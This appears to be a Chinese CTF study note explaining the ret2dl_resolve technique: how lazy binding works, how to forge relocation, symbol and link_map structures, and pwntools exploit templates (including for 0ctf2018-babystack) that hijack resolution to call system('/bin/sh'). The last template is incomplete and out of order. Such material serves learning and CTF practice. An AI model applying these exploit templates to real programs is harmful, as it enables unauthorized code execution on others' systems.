ret2dl_resolve
2022-03-29 17:24:15

ret2dl_resolve

介绍:

基于延迟绑定技术,通过伪造数据结构以及对函数延迟绑定过程的拦截,实现任意函数调用的目的

延迟绑定技术:

调用函数时:call func@plt:

func@plt;
jmp *(func@GOT) //首先进行GOT跳转,尝试第一次链接
push n   //压入需要地址绑定的符号在重定位表中的下标
jmp PLT0   //跳转至PLT0

第一次调用时,func@GOT表中的值为接下来push n指令地址==》

程序执行push n==》n为该函数在.rel.plt表中的偏移

接下来jmp PLT0==》

//PLT0中

push *(got+4) //link_map的地址
jmp *(got+8)  //_dl_runtime_resolve地址

==》进入_dl_runtime_resolve函数==》函数调用_dl_fixup函数:

1、程序先从第一个参数link_map获取字符串表.dynstr,符号表.dynsym,重定位表.rel.plt的地址

2、通过第二个参数n==》即.rel.plt表中的偏移reloc_index加上.rel.plt的地址获取函数对应的重定位结构的位置==》从而获取函数对应的r_offset以及符号表中的下标r_info>>8

3、根据符号表地址以及下标获取符号结构体,获得函数符号中的st_name(函数名相对于字符串.dynstr的偏移)

4、最后得到函数名的字符串==》前往libc中匹配函数名,寻找相应的函数并将地址填回r_offset,即函数got表中,完成延迟绑定

32位ret2dl_resolve

介绍:

适用于无法泄漏程序地址时,通过拦截延迟绑定的过程,实现对函数地址解析过程的劫持,使最终解析出来的函数为特定函数的函数地址==》实现无泄漏达到特定函数调用的目的

利用:

==》伪造reloc_index(伪造重定位表的下标实现相关利用)

==》

1、伪造reloc_index,使reloc_index加上.rel.plt的地址指向可控的地址,在该地址可伪造恶意的Elf32_Rel结构体

2、伪造Elf32_Rel结构体中的r_offset指向某一可写地址,最终函数地址会写入该地址处,伪造r_info&0xff为0x7

,因为类型需要为ELF_MACHINE_JMP_SLOT以绕过类型验证,伪造r_info>>8,使得r_info>>8加上.dynsym地址指向可控的地址,并在该地址伪造符号表结构体Elf32_Sym

伪造r_info&0xff为0x7:

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

3、伪造Elf32_Sym结构体中的st_name,使得.dynstr的地址加上该值指向可控地址,并在该地址处写入特定函数的函数名(system)

4、系统通过函数名匹配,定位至特定函数地址,获取该地址并写入到伪造的r_offset中,实现函数地址的获取

涉及的结构体:

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

typedef struct {
    Elf32_Addr        r_offset;
    Elf32_Word       r_info;
} Elf32_Rel;

typedef struct {
    Elf32_Sword     d_tag;
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

注意点:

如果reloc->r_info伪造不当,会使

ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff

偏大,导致

version = &l->l_versions[ndx]

出现访存错误==》

在伪造reloc->r_info,最好让ndx为0,即vernum[reloc->r_info]为0

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
   {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
  {
    const ElfW(Half) *vernum =
      (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; //偏大
    version = &l->l_versions[ndx];  //访存错误
    if (version->hash == 0)
      version = NULL;
  }

例题:

0ctf2018-babystack

1、检查保护

exp(模板):

from pwn import *
name = './babystack'
p = process(name)
elf= ELF(name)
#获取原地址

rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x80482b0
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481cc
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x804822c

resolve_plt = 0x080482F0 #plt表的起始地址
leave_ret_addr = 0x08048455 #leave_ret
start = 0x804aa00   #要在bss段进行伪造的地址

align=0x8-(start-20-rel_plt_addr)%0x8 
start+=align   #对伪造的地址进行内存对齐
#构造地址
fake_rel_plt_addr = start                       #0x804aa04
fake_dynsym_addr = fake_rel_plt_addr + 0x8      #0x804aa0c
fake_dynstr_addr = fake_dynsym_addr + 0x10      #0x804aa1c
bin_sh_addr = fake_dynstr_addr + 0x7            #0x804aa23
n = fake_rel_plt_addr - rel_plt_addr            #0x2754  伪造的.rel.plt与真的偏移
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7   #0x28407
str_offset = fake_dynstr_addr - dynstr_addr                     #0x27f0
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) +p32(0)
fake_dynstr = "system\x00/bin/sh\x00\x00"
#构造payload
pay1 = 'a'*40 + p32(start-20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0)  + p32(start - 20) + p32(0x100)
p.send(pay1)
pay2 = p32(0) + p32(resolve_plt) + p32(n) +'abcd'+p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.send(pay2)
#成功pwn
p.interactive()
# coding=utf-8
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
processName = 'main'
offset = 112

r = process('./' + processName)
context.log_level = 'debug'
rop = ROP('./' + processName)

bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

index_offset=base_stage+20-rel_plt # .rel.plt

fake_sym_addr=base_stage+28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) // 0x10
r_info = (index_dynsym << 8)|0x7
fake_rel_plt = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_str= b"system"

payload = b'AAAA'               # 4
payload += p32(plt_0)           # 8
payload += p32(index_offset)    # 12
payload += b'aaaa'              # 16
payload += p32(base_stage + 80) # 20 /bin/sh
payload += fake_rel_plt         # 28
payload += align * b"B"
payload += fake_sym
payload += fake_str
payload += b"\x00" * (80 - len(payload))
payload += b'/bin/sh\x00'
payload += b"A"*(200 - len(payload))

64位ret2dl_resolve

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{

  //获取符号表地址
  const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  //获取字符串表地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  //获取函数对应的重定位表结构地址
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  //获取函数对应的符号表结构地址
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  //得到函数对应的got地址,即真实函数地址要填回的地址
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  
  DL_FIXUP_VALUE_TYPE value;

  //判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
      
   
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
   {
     ...
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
   address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

...

  // 最后把value写入相应的GOT表条目rel_addr中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);  
}

与32不同,64位程序构造的数据一般在bss:

如0x601000-0x602000,导致相当于.dynsym的地址0x400000-0x401000很大==》

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
   {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
  {
    const ElfW(Half) *vernum =
      (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
      version = NULL;
  }

使得reloc->r_info很大==》

ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;

出现访存出错==》崩溃

===》绕过这个判断分支:

1、绕过l->l_info[VERSYMIDX (DT_VERSYM)] != NULL,使其不成立,也就是=NULL

==》使得link_map + 0x1c8为NULL==》需要往link_map写空值==》需要泄漏地址==》不可取

2、绕过__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0==》

伪造sym->st_other使它不为空==》

 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
   {
     ...
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
   address) is also known.  */
      //认为该符号已经解析过,直接调用DL_FIXUP_MAKE_VALUE函数赋值
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      
      result = l;
    }

...

  // 最后把value写入相应的GOT表条目rel_addr中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);  
}

==》DL_FIXUP_MAKE_VALUE定义:

#define DL_FIXUP_MAKE_VALUE(map, addr) (addr)
/* Extract the code address from a value of type DL_FIXUP_MAKE_VALUE.*/

直接将l->l_addr + sym->st_value赋值给value

===》sym从link_map中来==》伪造link_map==》

若可以控制sym->st_value指向got表中的地址如:__libc_start_main的got==》

1->1_addr为目标地址(system)到__libc_start_main的偏移==》

最终的value:l->l_addr + sym->st_value就会是目标地址(system),实现无需leak地址引用

===》link_map定义:

type = struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...
    size_t l_tls_firstbyte_offset;
    ptrdiff_t l_tls_offset;
    size_t l_tls_modid;
    size_t l_tls_dtor_count;
    Elf64_Addr l_relro_addr;
    size_t l_relro_size;
    unsigned long long l_serial;
    struct auditstate l_audit[];
} *

==》首先伪造1->1_addr为目标地址system与__libc_start_main的偏移

==》接下来构造sym->st_value指向__libc_start_main的got表的地址==》

//获取符号表地址
  const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 //获取函数对应的重定位表结构地址
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  //获取函数对应的符号表结构地址
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

==》sym通过&symtab[ELFW(R_SYM) (reloc->r_info)]获得==》

将reloc->r_info设置为0==》

控制symtab的第一个元素st_value指向__libc_start_main的got表的位置==》

symtab是l_info[DT_SYMTAB]==》

#define DT_SYMTAB 6

==》symtab是l_info[0x6]==》构造l_info[0x6]指向link_map+0x70,在link_map+0x78的位置填入__libc_start_main的got表减8的地址==》

symtab指向了__libc_start_main_got-8==》

st_value的偏移为8==》实现st_value指向__libc_start_main_got==》

由于symtab指向了__libc_start_main_got-8,地址一般也为got表地址,所以sym->st_other不为0成立

返回目标地址:

//获取函数对应的重定位表结构地址
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
...
//得到函数对应的got地址,即真实函数地址要填回的地址
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

若rel_addr(最终得到的地址)在link_map+0x28==》

是由l->l_addr + reloc->r_offset得到==》

l->l_addr已经确定==》为目标地址到got表中libc地址的偏移

需要控制reloc->r_offset使其加上l->l_addr为link_map+0x28的地址==》

若将reloc设定在link_map+0x30==》reloc_offset已经确定,由reloc_index*8确定==》

需要伪造l_info[DT_JMPREL]==》

#define DT_JMPREL 23

需要伪造.rel.plt表所对应的Elf64_Dyn结构体,将l_info[DT_JMPREL]指向link_map+0x80-8==》

即d_ptr为link_map+0x80==》在link_map+0x80中写入link_map+0x30-reloc_offset的值==》

使得.rel.plt表的地址为link_map+0x30-reloc_offset==》

经过

(D_PTR (l, l_info[DT_JMPREL]) + reloc_offset)

得到reloc指向link_map+0x30==》

Elf64_Rela
type = struct {
    Elf64_Addr r_offset;
    Elf64_Xword r_info;
    Elf64_Sxword r_addend;
}

在link_map+0x30中伪造Elf64_Rela结构体,在r_offset填入link_map+0x28减去l->l_addr的值

===》最终得到的rel_addr为link_map+0x28,同时将r_info填入0x7绕过前面对类型的判定

====》最终形态:

sym->st_other不为0

rel_addr指向link_map+0x30

sym->st_value地址为__libc_start_main_got地址

1->1_addr为system到__libc_start_main的偏移

===》经过

value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

得到value为system地址,在最后写入到rel_addr==》link_map+0x30中,实现对system函数的调用

涉及的结构体:

type = struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...
    size_t l_tls_firstbyte_offset;
    ptrdiff_t l_tls_offset;
    size_t l_tls_modid;
    size_t l_tls_dtor_count;
    Elf64_Addr l_relro_addr;
    size_t l_relro_size;
    unsigned long long l_serial;
    struct auditstate l_audit[];
} *

Elf64_Sym
type = struct {
    Elf64_Word st_name;
    unsigned char st_info;
    unsigned char st_other;
    Elf64_Section st_shndx;
    Elf64_Addr st_value;
    Elf64_Xword st_size;
}

Elf64_Dyn
type = struct {
    Elf64_Sxword d_tag;
    union {
        Elf64_Xword d_val;
        Elf64_Addr d_ptr;
    } d_un;
}

Elf64_Rela
type = struct {
    Elf64_Addr r_offset;
    Elf64_Xword r_info;
    Elf64_Sxword r_addend;
}

总结:

伪造sym->st_value等于某个got上已经解析的函数的表项(read@got)==>

在l->l_addr设置为system与这个函数的偏移==》

link_map伪造:

link_map+0x68的DT_STRTAB指针为可读地址

link_map+0x70的DT_SYMTAB指针

link_map+0xf8的DT_JMPREL指针

==》

.dynamic:

DT_SYMTAB结构体

DT_JMPPREL结构体

函数对应的Elf64_Rela结构体==》一般在构造过程中将reloc_arg作为0进行构造

例题:

1、检查保护:

2、主函数:

exp(模板):

#coding=UTF-8
from pwn import *

io=process('./test')
elf=ELF('./test')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

plt0=elf.get_section_by_name('.plt').header.sh_addr

pop_rdi_ret=0x401223
pop_rsi_r15_ret=0x401221
ret=0x4011BE
fake_link_map_addr=0x404100


def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
    #各个指针的伪造地址
    fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
    fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
    fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
    
    #伪造结构体
    fake_Elf64_Dyn_SYM=flat(p64(0),p64(st_value-8))
    fake_Elf64_Dyn_JMPREL=flat(p64(0),p64(fake_link_map_addr+0x28))
	#JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28
	
    r_offset=fake_link_map_addr-l_addr
    fake_Elf64_rela=flat(p64(r_offset),p64(7),p64(0))
    
    #fake_link_map整体结构
    fake_link_map=flat(	#0x0
        p64(l_addr),	#0x8
        fake_Elf64_Dyn_SYM,	#0x18
        fake_Elf64_Dyn_JMPREL,	#0x28
        fake_Elf64_rela,	#0x40
        '\x00'*0x28,	#凑齐0x68,开始放指针
        fake_Elf64_Dyn_STR_addr,  #STRTAB指针,0x70
        fake_Elf64_Dyn_SYM_addr,	#SYMTAB指针,0x78
        '/bin/sh\x00'.ljust(0x80,'\x00'),
        fake_Elf64_Dyn_JMPREL_addr,	#JMPEREL指针
    )
    return fake_link_map

l_addr=libc.sym['system']-libc.sym['read']
#read此时为一个已解析函数,取它与system的偏移为l_addr

st_value=elf.got['read']
#value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
#获得伪造的link_map

payload='\x00'*0x28+p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(fake_link_map_addr)
payload+=p64(0)+p64(elf.plt['read'])+p64(ret)+p64(pop_rdi_ret)
payload+=p64(fake_link_map_addr+0x78)+p64(plt0+6)+p64(fake_link_map_addr)+p64(0)
payload=payload.ljust(0x200,'\x00')

io.sendafter("something:\n",payload)

io.send(fake_link_map)

io.interactive()

模板:

#coding=UTF-8
from pwn import *

io=process('./')
elf=ELF('./')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

plt0=elf.get_section_by_name('.plt').header.sh_addr

l_addr=libc.sym['system']-libc.sym['__libc_start_main']
#__libc_start_main此时为一个已解析函数,取它与system的偏移为l_addr

st_value=elf.got['__libc_start_main']
#value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)

def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
    #各个指针的伪造地址
    fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
    fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
    fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
    
    #伪造结构体
    fake_Elf64_Dyn_SYM=flat(p64(0),p64(st_value-8))
    fake_Elf64_Dyn_JMPREL=flat(p64(0),p64(fake_link_map_addr+0x28))
	#JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28
	
    r_offset=fake_link_map_addr-l_addr
    fake_Elf64_rela=flat(p64(r_offset),p64(7),p64(0))
    
    #fake_link_map整体结构
    fake_link_map=flat(	#0x0
        p64(l_addr),	#0x8
        fake_Elf64_Dyn_SYM,	#0x18
        fake_Elf64_Dyn_JMPREL,	#0x28
        fake_Elf64_rela,	#0x40
        '\x00'*0x28,	#凑齐0x68,开始放指针
        fake_Elf64_Dyn_STR_addr,  #STRTAB指针,0x70
        fake_Elf64_Dyn_SYM_addr,	#SYMTAB指针,0x78
        '/bin/sh\x00'.ljust(0x80,'\x00'),
        fake_Elf64_Dyn_JMPREL_addr,	#JMPEREL指针
    )
    return fake_link_map

fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
#获得伪造的link_map

payload=

io.interactive()